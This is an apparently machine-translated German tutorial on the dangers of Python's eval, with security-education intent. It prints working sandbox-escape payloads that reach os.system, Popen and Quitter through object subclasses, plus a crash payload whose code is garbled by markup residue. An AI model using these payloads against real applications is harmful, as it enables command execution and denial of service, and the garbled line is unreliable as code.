Heim  >  Artikel  >  Backend-Entwicklung  >  Ausführliche Erläuterung der Verwendung von eval in Python und Einführung in mögliche Risiken

Ausführliche Erläuterung der Verwendung von eval in Python und Einführung in mögliche Risiken

不言
不言nach vorne
2019-03-25 10:41:374715Durchsuche

Dieser Artikel bietet Ihnen eine detaillierte Erklärung der Verwendung von eval in Python und eine Einführung in mögliche Risiken. Ich hoffe, dass er Ihnen als Referenz dienen wird.

Vorwort zu eval

In [1]: eval("2+3")
Out[1]: 5

In [2]: eval('[x for x in range(9)]')
Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]

Wenn das integrierte Modul im Speicher Betriebssysteme enthält, kann eval auch Befehle ausführen:

In [3]: import os

In [4]: eval("os.system('whoami')")
hy-201707271917\administrator
Out[4]: 0

Natürlich kann eval nur Python-Ausdrücke ausführen Typcode kann nicht direkt für Importvorgänge verwendet werden, exec jedoch schon. Wenn Sie eval für den Import verwenden müssen, verwenden Sie __import__:

In [8]: eval("__import__('os').system('whoami')")
hy-201707271917\administrator
Out[8]: 0

Im tatsächlichen Code müssen häufig Clientdaten verwendet werden, um zur Ausführung in eval gebracht zu werden. Bei der Einführung dynamischer Module können beispielsweise mehrere Crawler auf einer Online-Crawler-Plattform vorhanden sein und diese sich in verschiedenen Modulen befinden. Auf der Serverseite muss häufig nur der vom Benutzer ausgewählte Crawlertyp auf der Clientseite aufgerufen werden. und verwenden Sie exec oder eval im Backend. Es ist sehr praktisch, dynamische Aufrufe durchzuführen und Back-End-Codierung zu implementieren. Wenn die Anfrage des Benutzers jedoch nicht ordnungsgemäß bearbeitet wird, führt dies zu schwerwiegenden Sicherheitslücken.

Sichere" Verwendung von eval

Am meisten wird derzeit empfohlen, die letzten beiden Parameter von eval zu verwenden, um die Whitelist der Funktion festzulegen:

Die Deklaration der Eval-Funktion ist eval(expression[ , globals[, locals]])

Unter diesen geben der zweite und dritte Parameter jeweils Funktionen an, die in eval usw. verwendet werden können. Wenn nicht angegeben, ist der Standardwert das darin enthaltene Modul die Funktionen und Funktionen globals() und locals()

>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined

Wenn Sie angeben, dass nur abs-Funktionen aufgerufen werden dürfen, können Sie die folgende Schreibweise verwenden:

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0

Mit dieser Methode zum Schutz kann zwar eine gewisse Rolle spielen, aber diese Verarbeitungsmethode kann umgangen werden, was zu anderen Problemen führen kann.

Ausführungscode 1 umgehen

Das Umgehungsszenario ist wie folgt Diese Auswertung birgt bestimmte Sicherheitsrisiken. Verwenden Sie daher die folgenden Methoden, um zu verhindern, dass eval beliebigen Code ausführt:

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)

__builtins__ in Python ist ein integriertes Modul, das beispielsweise zum Festlegen integrierter Funktionen verwendet wird , die bekannten abs-, open- und anderen integrierten Funktionen sind alle vorhanden. Das Modul wird in einem Wörterbuch gespeichert. Die folgenden zwei Schreibweisen sind gleichwertig:

>>> __builtins__.abs(-20)
20
>>> abs(-20)
20

Wir können auch integrierte Funktionen anpassen und verwenden Sie mögen integrierte Funktionen in Python:

>>> def hello():
...     print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi

Xiao Ming setzt das integrierte Modul im Bereich der Eval-Funktion auf „None“, was sehr gründlich zu sein scheint, aber dennoch umgangen werden kann ein Verweis auf __builtin__, und unter dem Modul __main__ sind beide gleichwertig:

>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136

Verwenden Sie gemäß der von Wuyun Drops erwähnten Methode den folgenden Code:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

Der obige Code verwendet zuerst __class__. und __subclasses__, um das Objektobjekt dynamisch zu laden. Dies liegt daran, dass das Objekt nicht direkt in eval verwendet werden kann. Verwenden Sie dann den Zipimporter der Objektunterklasse, um das configobj-Modul in die ei-komprimierte Datei zu importieren, und rufen Sie das Betriebssystemmodul in seinem integrierten Modul auf Voraussetzung für die Implementierung der Befehlsausführung ist natürlich, dass es ein sehr interessantes configobj-Modul gibt. Es verfügt tatsächlich über ein integriertes Betriebssystemmodul:

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
0

Module, die configobj ähneln urllib, urllib2, setuptools usw. verfügen über integrierte Betriebssysteme. Um die Ei-komprimierte Datei herunterzuladen, können Sie den Ordner mit setup.py herunterladen und hinzufügen:

from setuptools import setup, find_packages

Führen Sie dann Folgendes aus:

python setup.py bdist_egg

, um die entsprechende Egg-Datei im dist-Ordner zu finden. Die Bypass-Demo lautet wie folgt:

>>> env = {}
>>> env["locals"]   = None
>>> env["globals"]  = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator
0
>>> eval(users_str, {}, {})
win-20140812chjadministrator
0

Denial-of-Service-Angriff 1

Es gibt viele interessante Dinge in der Unterklasse von Objekten, um sie anzuzeigen:

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

Ich werde die Ergebnisse hier nicht ausgeben. Wenn Sie es ausführen, können Sie viele interessante Module sehen, wie z. B. Datei, Zipimporter, Quitter usw. Nach dem Testen wird der Konstruktor der Datei durch die Interpreter-Sandbox isoliert. Einfach oder direkt die vom Objekt bereitgestellte Quitter-Unterklasse verlassen:

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})

C:/>
Wenn Sie Glück haben und auf sensible Module wie das Betriebssystem stoßen, das in das Programm der anderen Partei importiert wurde, wird Popen es tun kann verwendet werden und umgeht die Einschränkung, dass __builins__ leer ist. Das Beispiel lautet wie folgt:

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
 
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间>>

Tatsächlich gibt es viele solcher Situationen, wie zum Beispiel das Importieren des Betriebssystemmoduls, das im Allgemeinen zur Behandlung von Pfadproblemen verwendet wird . Wenn Sie auf diese Situation stoßen, können Sie daher eine große Anzahl funktionaler Funktionen auflisten, um festzustellen, ob die Unterklasse des Zielobjekts einige gefährliche Funktionen enthält, die direkt verwendet werden können.

Denial-of-Service-Angriff 2

Ähnlich können wir __builtins__ sogar als None umgehen, was einen Denial-of-Service-Angriff (aus dem Ausländerblog) verursacht :

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

Wenn Sie den obigen Code ausführen, stürzt Python direkt ab und verursacht einen Denial-of-Service-Angriff. Das Prinzip besteht darin, einen Codeabschnitt, also ein Codeobjekt, durch verschachtelte Lambdas zu konstruieren. Weisen Sie diesem Codeobjekt einen leeren Stapel zu und geben Sie die entsprechende Codezeichenfolge ein. Hier ist KABOOM. Wenn der Code auf dem leeren Stapel ausgeführt wird, kommt es zu einem Absturz. Nachdem die Konstruktion abgeschlossen ist, kann sie durch Aufrufen der Funktion fc ausgelöst werden. Die Idee ist nicht unsexy.

Zusammenfassung

Aus dem obigen Inhalt können wir ersehen, dass es nicht ausreicht, das integrierte Modul einfach auf leer zu setzen. Der beste Mechanismus besteht darin, eine Whitelist zu erstellen Wenn Sie es als problematisch empfinden, können Sie ast.literal_eval anstelle von unsicherem eval verwenden.

Dieser Artikel ist hier zu Ende. Weitere spannende Inhalte finden Sie in der Spalte Python-Video-Tutorial auf der chinesischen PHP-Website!

Das obige ist der detaillierte Inhalt vonAusführliche Erläuterung der Verwendung von eval in Python und Einführung in mögliche Risiken. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:segmentfault.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen